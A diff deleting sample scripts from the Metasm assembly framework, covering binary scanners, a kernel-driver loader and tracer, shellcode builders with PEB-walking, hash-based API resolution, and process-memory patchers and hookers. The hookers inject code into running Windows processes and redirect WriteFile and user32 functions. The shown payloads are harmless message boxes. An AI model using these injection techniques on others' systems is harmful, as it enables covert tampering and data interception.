__attribute__((in)), LPCSTR *lpServiceArgVectors __attribute__((in))); -__stdcall BOOL ControlService(SC_HANDLE hService __attribute__((in)), DWORD dwControl __attribute__((in)), LPSERVICE_STATUS lpServiceStatus __attribute__((out))); - -__stdcall HANDLE OpenThread(DWORD dwDesiredAccess __attribute__((in)), BOOL bInheritHandle __attribute__((in)), DWORD dwThreadId __attribute__((in))); -__stdcall DWORD ResumeThread(HANDLE hThread __attribute__((in))); -__stdcall DWORD SuspendThread(HANDLE hThread __attribute__((in))); -__stdcall BOOL SetThreadContext(HANDLE hThread __attribute__((in)), void *lpContext __attribute__((in))); -__stdcall BOOL GetThreadContext(HANDLE hThread __attribute__((in)), void *lpContext); -__stdcall BOOL CloseHandle(HANDLE hObject __attribute__((in))); - - - -#define STANDARD_RIGHTS_REQUIRED (0x000F0000L) - -#define SC_MANAGER_CONNECT 0x0001 -#define SC_MANAGER_CREATE_SERVICE 0x0002 -#define SC_MANAGER_ENUMERATE_SERVICE 0x0004 -#define SC_MANAGER_LOCK 0x0008 -#define SC_MANAGER_QUERY_LOCK_STATUS 0x0010 -#define SC_MANAGER_MODIFY_BOOT_CONFIG 0x0020 -#define SC_MANAGER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ - SC_MANAGER_CONNECT | \ - SC_MANAGER_CREATE_SERVICE | \ - SC_MANAGER_ENUMERATE_SERVICE | \ - SC_MANAGER_LOCK | \ - SC_MANAGER_QUERY_LOCK_STATUS | \ - SC_MANAGER_MODIFY_BOOT_CONFIG) - -#define SERVICE_QUERY_CONFIG 0x0001 -#define SERVICE_CHANGE_CONFIG 0x0002 -#define SERVICE_QUERY_STATUS 0x0004 -#define SERVICE_ENUMERATE_DEPENDENTS 0x0008 -#define SERVICE_START 0x0010 -#define SERVICE_STOP 0x0020 -#define SERVICE_PAUSE_CONTINUE 0x0040 -#define SERVICE_INTERROGATE 0x0080 -#define SERVICE_USER_DEFINED_CONTROL 0x0100 -#define SERVICE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ - SERVICE_QUERY_CONFIG | \ - SERVICE_CHANGE_CONFIG | \ - SERVICE_QUERY_STATUS | \ - SERVICE_ENUMERATE_DEPENDENTS | \ - SERVICE_START | \ - SERVICE_STOP | \ - SERVICE_PAUSE_CONTINUE | \ - SERVICE_INTERROGATE | \ - SERVICE_USER_DEFINED_CONTROL) - -#define SERVICE_KERNEL_DRIVER 0x00000001 -#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002 -#define SERVICE_ADAPTER 0x00000004 -#define SERVICE_RECOGNIZER_DRIVER 0x00000008 -#define SERVICE_DRIVER (SERVICE_KERNEL_DRIVER | \ - SERVICE_FILE_SYSTEM_DRIVER | \ - SERVICE_RECOGNIZER_DRIVER) -#define SERVICE_WIN32_OWN_PROCESS 0x00000010 -#define SERVICE_WIN32_SHARE_PROCESS 0x00000020 -#define SERVICE_WIN32 (SERVICE_WIN32_OWN_PROCESS | \ - SERVICE_WIN32_SHARE_PROCESS) -#define SERVICE_INTERACTIVE_PROCESS 0x00000100 -#define SERVICE_TYPE_ALL (SERVICE_WIN32 | \ - SERVICE_ADAPTER | \ - SERVICE_DRIVER | \ - SERVICE_INTERACTIVE_PROCESS) - -#define SERVICE_BOOT_START 0x00000000 -#define SERVICE_SYSTEM_START 0x00000001 -#define SERVICE_AUTO_START 0x00000002 -#define SERVICE_DEMAND_START 0x00000003 -#define SERVICE_DISABLED 0x00000004 - -#define SERVICE_ERROR_IGNORE 0x00000000 -#define SERVICE_ERROR_NORMAL 0x00000001 -#define SERVICE_ERROR_SEVERE 0x00000002 -#define SERVICE_ERROR_CRITICAL 0x00000003 - -#define SYNCHRONIZE 0x00100000L -#define THREAD_TERMINATE 0x0001 -#define THREAD_SUSPEND_RESUME 0x0002 -#define THREAD_GET_CONTEXT 0x0008 -#define THREAD_SET_CONTEXT 0x0010 -#define THREAD_SET_INFORMATION 0x0020 -#define THREAD_QUERY_INFORMATION 0x0040 -#define THREAD_SET_THREAD_TOKEN 0x0080 -#define THREAD_IMPERSONATE 0x0100 -#define THREAD_DIRECT_IMPERSONATION 0x0200 -#define THREAD_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x3FF) - -#define CONTEXT_i386 0x00010000 -#define CONTEXT_CONTROL (CONTEXT_i386 | 0x00000001L) // SS:SP, CS:IP, FLAGS, BP -EOS - -DynLdr.new_func_c <<EOS -int get_trace_buf(void *ptr) -{ - asm("mov eax, [ebp+8] int 0fh"); - return *(int*)ptr; -} -EOS - -def loadmod(mod=$drv) - sh = DynLdr.openscmanagera(0, 0, DynLdr::SC_MANAGER_ALL_ACCESS) - raise "cannot openscm" if (sh == 0) - rh = DynLdr.createservicea(sh, mod, mod, DynLdr::SERVICE_ALL_ACCESS, DynLdr::SERVICE_KERNEL_DRIVER, DynLdr::SERVICE_DEMAND_START, DynLdr::SERVICE_ERROR_NORMAL, File.expand_path(mod), 0, 0, 0, 0, 0) - if (DynLdr.startservicea(rh, 0, 0) == 0) - raise "cannot start service" - end - DynLdr.CloseServiceHandle(rh) - DynLdr.CloseServiceHandle(sh) -end - -def unloadmod(mod=$drv) - sh = DynLdr.openscmanagera(0, 0, DynLdr::SC_MANAGER_ALL_ACCESS) - raise "cannot openscm" if (sh == 0) - rh = DynLdr.openservicea(sh, mod, DynLdr::SERVICE_ALL_ACCESS) - DynLdr.controlservice(rh, DynLdr::SERVICE_CONTROL_STOP, 0.chr*4*32) - DynLdr.deleteservice(rh) - DynLdr.CloseServiceHandle(rh) - DynLdr.CloseServiceHandle(sh) -end - -def trace(tid, delay=1) - # put thread in singlestep mode - th = DynLdr.openthread(DynLdr::THREAD_GET_CONTEXT | DynLdr::THREAD_SET_CONTEXT | DynLdr::THREAD_SUSPEND_RESUME, 0, tid) - raise "openthread" if (th == 0) - DynLdr.suspendthread(th) - ctx = 0.chr * 1024 - ctx[0, 4] = [DynLdr::CONTEXT_CONTROL].pack('V') - DynLdr.getthreadcontext(th, ctx) - ctx[192, 4] = [ctx[192, 4].unpack('V').first | (1 << 8)].pack('V') - DynLdr.setthreadcontext(th, ctx) - DynLdr.resumethread(th) - DynLdr.closehandle(th) - - - buf = 0.chr * 4 * TRACE_BUF_SZ - loop do - sleep delay.to_f - nr = DynLdr.get_trace_buf(buf) - puts "got #{'%x' % nr} instrs" - # eips = buf[4, 4*nr].unpack('V*') - end - -ensure - th = DynLdr.openthread(DynLdr::THREAD_GET_CONTEXT | DynLdr::THREAD_SET_CONTEXT | DynLdr::THREAD_SUSPEND_RESUME, 0, tid) - if (th != 0) - DynLdr.suspendthread(th) - ctx = 0.chr * 1024 - ctx[0, 4] = [DynLdr::CONTEXT_CONTROL].pack('V') - DynLdr.getthreadcontext(th, ctx) - ctx[192, 4] = [ctx[192, 4].unpack('V').first & ~(1 << 8)].pack('V') - DynLdr.setthreadcontext(th, ctx) - DynLdr.resumethread(th) - DynLdr.closehandle(th) - end -end - -if $0 == __FILE__ - case ARGV.shift - when /unload/; unloadmod(*ARGV) - when /load/; loadmod(*ARGV) - when /trace/; trace(*ARGV) - end -end diff --git a/lib/metasm/samples/scan_pt_gnu_stack.rb b/lib/metasm/samples/scan_pt_gnu_stack.rb deleted file mode 100644 index d6e7684fc9..0000000000 --- a/lib/metasm/samples/scan_pt_gnu_stack.rb +++ /dev/null @@ -1,54 +0,0 @@ -#!/usr/bin/env ruby - -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this script scans directories recursively for ELF files which have a PT_GNU_STACK rwe or absent -# usage : scan_pt_gnu_stack.rb <dir> [<dir>] -# - -require 'metasm' - -def _puts(a) - puts a.to_s.ljust(60) -end -def _printadv(a) - $stderr.print a.to_s.ljust(60)[-60, 60] + "\r" -end - -# the recursive scanning procedure -iter = lambda { |f| - if File.symlink? f - elsif File.directory? f - # show where we are & recurse - _printadv f - Dir[ File.join(f, '*') ].each { |ff| - iter[ff] - } - else - # interpret any file as a ELF - begin - elf = Metasm::ELF.decode_file_header(f) - next if not elf.segments or elf.header.type == 'REL' - seg = elf.segments.find { |seg_| seg_.type == 'GNU_STACK' } - if not seg - _puts "PT_GNU_STACK absent : #{f}" - elsif seg.flags.include? 'X' - _puts "PT_GNU_STACK RWE : #{f}" - else - _puts "#{f} : #{seg.inspect}" if $VERBOSE - end - rescue - # the file is not a valid ELF - _puts "E: #{f} #{$!}" if $VERBOSE - end - end -} - -# go -ARGV.each { |dir| iter[dir] } - -_printadv '' diff --git a/lib/metasm/samples/scanpeexports.rb b/lib/metasm/samples/scanpeexports.rb deleted file mode 100644 index 03a59acf23..0000000000 --- a/lib/metasm/samples/scanpeexports.rb +++ /dev/null @@ -1,62 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this script scans a directory for PE files which export a given symbol name (regexp case-insensitive) -# usage : ruby scanpeexports.rb <dir> <pattern> -# - -require 'metasm' - -if not base = ARGV.shift - puts 'base dir ?' - base = gets.chomp -end -if not pat = ARGV.shift - puts 'pattern ?' - pat = gets.chomp - puts 'searching...' -end - -def _puts(a) - puts a.to_s.ljust(60) -end -def _printadv(a) - $stderr.print a.to_s.ljust(60)[-60, 60] + "\r" -end - -# the recursive scanning procedure -iter = lambda { |f, match| - if File.directory? f - # show where we are & recurse - _printadv f - Dir[ File.join(f, '*') ].each { |ff| - iter[ff, match] - } - else - # interpret any file as a PE - begin - pe = Metasm::PE.decode_file_header(f) - pe.decode_exports - next if not pe.export - # scan the export directory for the symbol pattern, excluding forwarders - pe.export.exports.each { |exp| - if exp.name =~ /#{match}/i and not exp.forwarder_lib - _puts f + " : " + exp.name - end - } - rescue - # the file is not a valid PE - end - end -} - -# go -iter[base, pat] - -if RUBY_PLATFORM =~ /win32/i - _puts "press [enter] to exit" - gets -end diff --git a/lib/metasm/samples/shellcode-c.rb b/lib/metasm/samples/shellcode-c.rb deleted file mode 100644 index de4066e8e3..0000000000 --- a/lib/metasm/samples/shellcode-c.rb +++ /dev/null @@ -1,40 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# in this exemple we can write a shellcode using a C function -# - -require 'metasm' - -# load and decode the file -sc = Metasm::Shellcode.new(Metasm::Ia32.new) -sc.parse <<EOS -jmp c_func - -some_func: -mov eax, 42 -ret -EOS - -cp = sc.cpu.new_cparser -cp.parse <<EOS -void some_func(void); -/* __declspec(naked) */ void c_func() { - int i; - for (i=0 ; i<10 ; ++i) - some_func(); -} -EOS -asm = sc.cpu.new_ccompiler(cp, sc).compile - -sc.parse asm -sc.assemble - -sc.encode_file 'shellcode.raw' - -puts Metasm::Shellcode.load_file('shellcode.raw', Metasm::Ia32.new).disassemble diff --git a/lib/metasm/samples/shellcode-dynlink.rb b/lib/metasm/samples/shellcode-dynlink.rb deleted file mode 100644 index 884bcc96ab..0000000000 --- a/lib/metasm/samples/shellcode-dynlink.rb +++ /dev/null @@ -1,146 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# this script compiles a source file (asm or C) into a shellcode that will -# dynamically resolve the address of functions it uses -# windows only, supposes the shellcode is run in the address space of a process -# whose PEB allows to find all required libraries. - -require 'metasm' - -sc = Metasm::Shellcode.new(Metasm::Ia32.new) - -case ARGV[0] -when /\.c(pp)?$/i - src_c = File.read(ARGV[0]) - sc.assemble 'jmp main' - sc.compile_c src_c -when /\.asm$/i - src = File.read(ARGV[0]) - sc.assemble src -when nil; abort "need sourcefile" -else abort "unknown srcfile extension" -end - -# find external symbols needed by the shellcode -ext_syms = sc.encoded.reloc_externals - -# resolver code -sc.parse <<EOS -get_libbase: - mov eax, fs:[0x30] // peb - mov eax, [eax+12] // peb_ldr - add eax, 12 // &inloadorder -libbase_loop: - mov eax, [eax] // next - mov edx, [eax+12*4] // basename ptr - mov cl, [edx+6] - shl ecx, 8 - mov cl, [edx+4] - shl ecx, 8 - mov cl, [edx+2] - shl ecx, 8 - mov cl, [edx] - or ecx, 0x20202020 // downcase - cmp ecx, [esp+4] - jnz libbase_loop - mov eax, [eax+6*4] // baseaddr - ret 4 - -hash_name: - push ecx - push edx - xor eax, eax - xor ecx, ecx - mov edx, [esp+12] - dec edx -hash_loop: - ror eax, 0dh - add eax, ecx - inc edx - mov cl, [edx] - test cl, cl - jnz hash_loop - pop edx - pop ecx - ret 4 - -resolve_proc: - push ecx - push edx - push ebp - push dword ptr [esp+0x14] // arg_2 - call get_libbase - mov ebp, eax // imagebase - add eax, [eax+0x3c] // coffhdr - mov edx, [eax+0x78] // exportdirectory - add edx, ebp - or ecx, -1 -resolve_loop: - inc ecx - mov eax, [edx+0x20] // name - add eax, ebp - mov eax, [eax+4*ecx] - add eax, ebp - push eax - call hash_name - cmp eax, [esp+0x10] // cmp hash(name[i]), arg_1 - jnz resolve_loop - mov eax, [edx+0x24] // ord - add eax, ebp - movzx ecx, word ptr [eax+2*ecx] - mov eax, [edx+0x1c] // func - add eax, ebp - mov eax, [eax+4*ecx] // func[ord[i]] - add eax, ebp - pop ebp - pop edx - pop ecx - ret 8 -EOS - -def hash_name(sym) - hash = 0 - sym.each_byte { |char| - hash = (((hash >> 0xd) | (hash << (32-0xd))) + char) & 0xffff_ffff - } - hash -end - -def lib_name(sym) - raise "unknown libname for #{sym}" if not lib = Metasm::WindowsExports::EXPORT[sym] - n = lib.downcase[0, 4].unpack('C*') - n[0] + (n[1]<<8) + (n[2] << 16) + (n[3] << 24) -end - -# encode stub for each symbol -ext_syms.uniq.each { |sym| - next if sym == 'next_payload' - sc.parse <<EOS -#{sym}: - push #{lib_name(sym)} - push #{hash_name(sym)} - call resolve_proc - jmp eax -EOS -} - -# marker to the next payload if the payload is a stager -sc.assemble "next_payload:" - -# output to a file -sc.encode_file 'shellcode-dynlink.raw' - -__END__ -// sample payload - -extern __stdcall int MessageBoxA(int, char*, char*, int); -extern void next_payload(void); - -int main(void) -{ - MessageBoxA(0, "Hello, world !", "Hi", 0); - next_payload(); -} diff --git a/lib/metasm/samples/source.asm b/lib/metasm/samples/source.asm deleted file mode 100644 index 5ae58c09c0..0000000000 --- a/lib/metasm/samples/source.asm +++ /dev/null @@ -1,34 +0,0 @@ -.pt_gnu_stack rw // elf-specific instruction -//.interp none // request minimal elf, no section/dynamic/interpreter - -#define __i386__ -#include <asm/unistd.h> // can use the C preprocessor - -stdout equ 1 // 'equ' constant definition - -syscall macro nr // asm-style macros - mov eax, nr ; the syscall number goes in eax - int 80h -endm - -#define syscall1(nr, arg) mov ebx, arg syscall(__NR_##nr) // c++-style macros -#define syscall3(nr, arg1, arg2, arg3) mov edx, arg3 mov ecx, arg2 syscall1(nr, arg1) - -.entrypoint // the elf entrypoint - nop nop - call 1f // 1f is the first label named '1' found forward -toto_str db "toto\n" -toto_str_len equ $ - toto_str // $ is the address of the start of the current instruction/data - -1: - pop ebp - -syscall3(write, stdout, ebp, toto_str_len) - -/* -; hang forever - jmp $ -*/ - -syscall1(exit, 0) -hlt diff --git a/lib/metasm/samples/struct_offset.rb b/lib/metasm/samples/struct_offset.rb deleted file mode 100644 index cd6f13f2db..0000000000 --- a/lib/metasm/samples/struct_offset.rb +++ /dev/null @@ -1,47 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# This exemple illustrates the usage of the C parser to compute the offset of members of a given structure -# usage: struct_offset.rb <c file> <struct name> -# - -require 'metasm' -include Metasm - -require 'optparse' -opts = { :hdrs => [], :defs => {}, :path => [], :cpu => 'X86', :offbase => 16 } -OptionParser.new { |opt| - opt.on('-o outfile') { |f| opts[:outfile] = f } - opt.on('-H additional_header') { |f| opts[:hdrs] << f } - opt.on('-I path', '--includepath path') { |f| opts[:path] << f } - opt.on('-D var') { |f| k, v = f.split('=', 2) ; opts[:defs].update k => (v || '') } - opt.on('-d') { opts[:offbase] = 10 } - opt.on('--cpu CpuClass') { |c| opts[:cpu] = c } - opt.on('--gcc') { opts[:gcc] = true } - opt.on('--vs', '--visualstudio') { opts[:vs] = true } -}.parse!(ARGV) - -cp = Metasm.const_get(opts[:cpu]).new.new_cparser - -cp.prepare_gcc if opts[:gcc] -cp.prepare_visualstudio if opts[:vs] - -pp = cp.lexer -pp.warn_redefinition = false -pp.include_search_path[0, 0] = opts[:path] -opts[:defs].each { |k, v| pp.define k, v } - -cp.parse opts[:hdrs].map { |h| "#include <#{h}>" }.join("\n") - -abort 'need source + struct name' unless ARGV.length >= 2 - -cp.parse_file(ARGV.shift) - -$stdout.reopen File.open(opts[:outfile], 'w') if opts[:outfile] - -ARGV.each { |structname| - puts cp.alloc_c_struct(structname) -} diff --git a/lib/metasm/samples/testpe.rb b/lib/metasm/samples/testpe.rb deleted file mode 100644 index 7958f6242d..0000000000 --- a/lib/metasm/samples/testpe.rb +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# a sample application -# - - -require 'metasm' - -pe = Metasm::PE.assemble Metasm::Ia32.new, <<EOS -.entrypoint -push 0 -push title -push message -push 0 -call messagebox - -xor eax, eax -ret - -.import 'user32' MessageBoxA messagebox - -.data -message db 'kikoo lol', 0 -title db 'blaaa', 0 -EOS -pe.encode_file 'testpe.exe' diff --git a/lib/metasm/samples/testraw.rb b/lib/metasm/samples/testraw.rb deleted file mode 100644 index 626df7c926..0000000000 --- a/lib/metasm/samples/testraw.rb +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - - -# usage: test.rb < source.asm - -require 'metasm' - - -dump = ARGV.delete '--dump' - -source = ARGF.read - -cpu = Metasm::Ia32.new -shellcode = Metasm::Shellcode.assemble(cpu, source).encode_string -shellstring = shellcode.unpack('C*').map { |b| '\\x%02x' % b }.join - -if dump - puts shellstring - exit -end - -File.open('test-testraw.c', 'w') { |fd| - fd.puts <<EOS -unsigned char sc[] = "#{shellstring}"; -int main(void) -{ - ((void (*)())sc)(); - return 42; -} -EOS -} - -system 'gcc -W -Wall -o test-testraw test-testraw.c' -system 'chpax -psm test-testraw' - -puts "running" -system './test-testraw' -puts "done" -#File.unlink 'test-testraw' -File.unlink 'test-testraw.c' diff --git a/lib/metasm/samples/win32genloader.rb b/lib/metasm/samples/win32genloader.rb deleted file mode 100644 index 7dcca44d29..0000000000 --- a/lib/metasm/samples/win32genloader.rb +++ /dev/null @@ -1,132 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# This samples generates a binary loader that will load and patch a Win32 program in memory -# The patch data are read from assembly files named 'patch_<hex addr>.asm' -# The 1st mandatory argument is the name of the target binary to load -# The 2nd optional argument is the name of the loader to be generated - -require 'metasm' - -target = ARGV.shift -loader = ARGV.shift || "loader.exe" - -abort "need a target binary name to load&patch" if not target - -cpu = Metasm::Ia32.new - -# assemble the patches, to put the binary in the C source -patches = Dir['patch_*.asm'].map { |f| - puts " [+] assembling #{f}" - addr = f[/patch_(.*)\.asm/, 1].to_i(16) - sc = Metasm::Shellcode.assemble_file(cpu, f) - sc.base_addr = addr - raw = sc.encode_string - [addr, raw] -} - - -# the C program skeleton -c_src = <<EOS - -void main(void) -{ - static PROCESS_INFORMATION pi; - static STARTUPINFO si = { .cb = sizeof(si) }; - int i; - - CreateProcess(#{target.inspect}, 0, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi); - - #{patches.map { |addr, raw| - "WriteProcessMemory(pi.hProcess, (void*)#{'0x%X' % addr}, #{raw.inspect}, #{raw.length}, 0);" - }.join("\n\t")} - - CloseHandle(pi.hProcess); - - ResumeThread(pi.hThread); - CloseHandle(pi.hThread); - - ExitProcess(0); -} -EOS - - -# the winapi definitions (generated by factorize_headers.rb) -c_hdr = <<EOS -#define CREATE_SUSPENDED 0x00000004 -#define CreateProcess CreateProcessA - -typedef int BOOL; -typedef unsigned char BYTE; -typedef char CHAR; -typedef unsigned long DWORD; -typedef void *HANDLE; -typedef const void *LPCVOID; -typedef void *LPVOID; -typedef unsigned int UINT; -typedef unsigned long ULONG_PTR; -typedef unsigned short WORD; - -__stdcall BOOL CloseHandle __attribute__((dllimport))(HANDLE hObject); -__noreturn __stdcall void ExitProcess __attribute__((dllimport))(UINT uExitCode); -typedef BYTE *LPBYTE; -typedef const CHAR *LPCSTR; -typedef CHAR *LPSTR; -__stdcall DWORD ResumeThread __attribute__((dllimport))(HANDLE hThread); -typedef ULONG_PTR SIZE_T; - -struct _PROCESS_INFORMATION { - HANDLE hProcess; - HANDLE hThread; - DWORD dwProcessId; - DWORD dwThreadId; -}; - -struct _SECURITY_ATTRIBUTES { - DWORD nLength; - LPVOID lpSecurityDescriptor; - BOOL bInheritHandle; -}; - -typedef struct _PROCESS_INFORMATION *LPPROCESS_INFORMATION; -typedef struct _SECURITY_ATTRIBUTES *LPSECURITY_ATTRIBUTES; -typedef struct _PROCESS_INFORMATION PROCESS_INFORMATION; -__stdcall BOOL WriteProcessMemory __attribute__((dllimport))(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); - -struct _STARTUPINFOA { - DWORD cb; - LPSTR lpReserved; - LPSTR lpDesktop; - LPSTR lpTitle; - DWORD dwX; - DWORD dwY; - DWORD dwXSize; - DWORD dwYSize; - DWORD dwXCountChars; - DWORD dwYCountChars; - DWORD dwFillAttribute; - DWORD dwFlags; - WORD wShowWindow; - WORD cbReserved2; - LPBYTE lpReserved2; - HANDLE hStdInput; - HANDLE hStdOutput; - HANDLE hStdError; -}; - -typedef struct _STARTUPINFOA *LPSTARTUPINFOA; -typedef struct _STARTUPINFOA STARTUPINFOA; - -__stdcall BOOL CreateProcessA __attribute__((dllimport))(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); -typedef STARTUPINFOA STARTUPINFO; -EOS - - -puts c_src, '' - -# compile the loader -Metasm::PE.compile_c(cpu, c_hdr+c_src).encode_file(loader) - -puts " [+] #{loader} saved" diff --git a/lib/metasm/samples/win32hooker-advanced.rb b/lib/metasm/samples/win32hooker-advanced.rb deleted file mode 100644 index 9109e3a602..0000000000 --- a/lib/metasm/samples/win32hooker-advanced.rb +++ /dev/null @@ -1,169 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# in this exemple we will patch a process specified on the commandline (pid or part of the image name) -# we will retrieve the user32.dll library mapped, and hook every exported function. -# each hook will redirect the code flow to our shellcode, which will display the hooked function -# name in a messagebox. -# The hook is this time a real hook: we overwrite the first instructions with a jump to our code, -# and run those overwritten instruction again before giving control back to original function. -# -# usage: ruby w32hook-advance.rb notepad -# use ruby -d to impress your friends :) -# -# XXX obsolete, should replace all virtallocex etc by WinOS calls - -require 'metasm' - -include Metasm - -# open target -WinOS.get_debug_privilege -if not pr = WinOS.find_process(ARGV.first) - # display list of running processes and exit - puts WinOS.list_processes.sort_by { |pr_| pr_.pid } - exit -end -raise 'cannot open target process' if not pr.handle - -# the main shellcode -sc = Shellcode.assemble Ia32.new, <<EOS -main_hook: - pushfd ; save registers - pushad - - mov eax, dword ptr [in_hook] ; check if we are in the hook (yay threadsafe) - test eax, eax - jnz main_hook_done - mov dword ptr [in_hook], 1 - - mov eax, dword ptr [esp+4+4*9] ; get the function name (1st argument) - - push 0 - push eax - push eax - push 0 - call messageboxw - - mov dword ptr [in_hook], 0 -main_hook_done: - popad - popfd - ret 4 - -.align 4 -in_hook dd 0 ; l33t mutex -EOS - -# this is where we store every function hook -hooks = {} -prepare_hook = lambda { |mpe, base, export| - hooklabel = sc.new_label('hook') - namelabel = sc.new_label('name') - - # this will overwrite the function entrypoint - target = base + export.target - hooks[target] = Shellcode.new(sc.cpu).share_namespace(sc).parse("jmp #{hooklabel}").assemble.encoded - - # backup the overwritten instructions - # retrieve instructions until their length is >= our hook length - mpe.encoded.ptr = export.target - sz = 0 - overwritten = [] - while sz < hooks[target].length - di = sc.cpu.decode_instruction mpe.encoded, target - if not di or not di.opcode or not di.instruction - puts "W: unknown instruction in #{export.name} !" - break - end - overwritten << di.instruction - sz += di.bin_length - end - puts "overwritten at #{export.name}:", overwritten, '' if $DEBUG - resumeaddr = target + sz - - # append the call-specific shellcode to the main hook code - sc.cursource << Label.new(hooklabel) - sc.parse <<EOS - push #{namelabel} - call main_hook ; log the call -; rerun the overwritten instructions -#{overwritten.join("\n")} - jmp #{resumeaddr} ; get back to original code flow -EOS - sc.cursource << Label.new(namelabel) - sc.parse "dw #{export.name.inspect}, 0" -} - -msgboxw = nil -# decode interesting libraries from address space -pr.modules[1..-1].each { |m| - # search for messageboxw - if m.path =~ /user32/i - mpe = LoadedPE.load pr.memory[m.addr, 0x1000000] - mpe.decode_header - mpe.decode_exports - mpe.export.exports.each { |e| msgboxw = m.addr + mpe.label_rva(e.target) if e.name == 'MessageBoxW' } - end - # prepare hooks - next if m.path !~ /user32/i # filter interesting libraries - puts "handling #{File.basename m.path}" if $VERBOSE - - if not mpe - mpe = LoadedPE.load pr.memory[m.addr, 0x1000000] - mpe.decode_header - mpe.decode_exports - end - next if not mpe.export or not mpe.export.exports - - # discard exported data - text = mpe.sections.find { |s| s.name == '.text' } - mpe.export.exports.each { |e| - next if not e.target or not e.name - next if e.name =~ /(?:Translate|Get|Dispatch)Message|CallNextHookEx|TranslateAccelerator/ - - # ensure we have an offset and not a label name - e.target = mpe.label_rva(e.target) - - # ensure the exported thing is in the .text section - next if e.target < text.virtaddr or e.target >= text.virtaddr + text.virtsize - - # prepare the hook - prepare_hook[mpe, m.addr, e] - } -} - -raise 'Did not find MessageBoxW !' if not msgboxw - -puts 'linking...' -sc.assemble -puts 'done' - -# allocate memory for our code -raise 'remote allocation failed' if not injected_addr = WinAPI.virtualallocex(pr.handle, 0, sc.encoded.length, WinAPI::MEM_COMMIT|WinAPI::MEM_RESERVE, WinAPI::PAGE_EXECUTE_READWRITE) - -puts "Injecting hooks at #{'%x' % injected_addr}" - -# fixup & inject our code -binding = { 'messageboxw' => msgboxw } -hooks.each { |addr, edata| binding.update edata.binding(addr) } -binding.update sc.encoded.binding(injected_addr) - -# fixup -sc.encoded.fixup(binding) -# inject -pr.memory[injected_addr, sc.encoded.data.length] = sc.encoded.data - -# now overwrite entry points -hooks.each { |addr, edata| - edata.fixup(binding) - pr.memory[addr, edata.data.length] = edata.data -} - -puts 'done' - -WinAPI.closehandle(pr.handle) diff --git a/lib/metasm/samples/win32hooker.rb b/lib/metasm/samples/win32hooker.rb deleted file mode 100644 index e20dd7ba37..0000000000 --- a/lib/metasm/samples/win32hooker.rb +++ /dev/null @@ -1,96 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# in this exemple we will patch a process specified on the commandline (pid or part of image name) -# the IAT entry matching /WriteFile/ will be replaced by a pointer to a malicious code we inject, -# which calls back the original function. -# Our shellcode will display the first bytes of the data to be written, using MessageBoxW (whose -# pointer is also retrieved from the target IAT) -# -# usage: ruby w32hook.rb notepad ; then go in notepad, type some words and save to a file -# - -require 'metasm' - -include Metasm - -# open target -WinOS.get_debug_privilege -if not pr = WinOS.find_process(ARGV.first) - # display list of running processes if no target found - puts WinOS.list_processes.sort_by { |pr_| pr_.pid } - exit -end -raise 'cannot open target process' if not pr.handle - -# read the target PE structure -pe = LoadedPE.load pr.memory[pr.modules[0].addr, 0x1000000] -pe.decode_header -pe.decode_imports - -# find iat entries -target = nil -target_p = nil -msgboxw_p = nil -iat_entry_len = pe.encode_xword(0).length # 64bits portable ! (shellcode probably won't work) -pe.imports.each { |id| - id.imports.each_with_index { |i, idx| - case i.name - when 'MessageBoxW' - msgboxw_p = pr.modules[0].addr + id.iat_p + iat_entry_len * idx - when /WriteFile/ - target_p = pr.modules[0].addr + id.iat_p + iat_entry_len * idx - target = id.iat[idx] - end - } -} -raise "iat entries not found" if not target or not msgboxw_p - -# here we write our shellcode (no need to code position-independant) -sc = Shellcode.assemble(Ia32.new, <<EOS) -pushad -mov esi, dword ptr [esp+20h+8] ; 2nd arg = buffer -mov edi, message -mov ecx, 19 -xor eax, eax -copy_again: -lodsb -stosw -loop copy_again - -push 0 -push title -push message -push 0 -call [msgboxw] -popad -jmp target - -.align 4 -; strings to display -message dw 20 dup(?) -title dw 'I see what you did there...', 0 -EOS - -# alloc some space in the remote process to put our shellcode -raise 'remote allocation failed' if not injected = 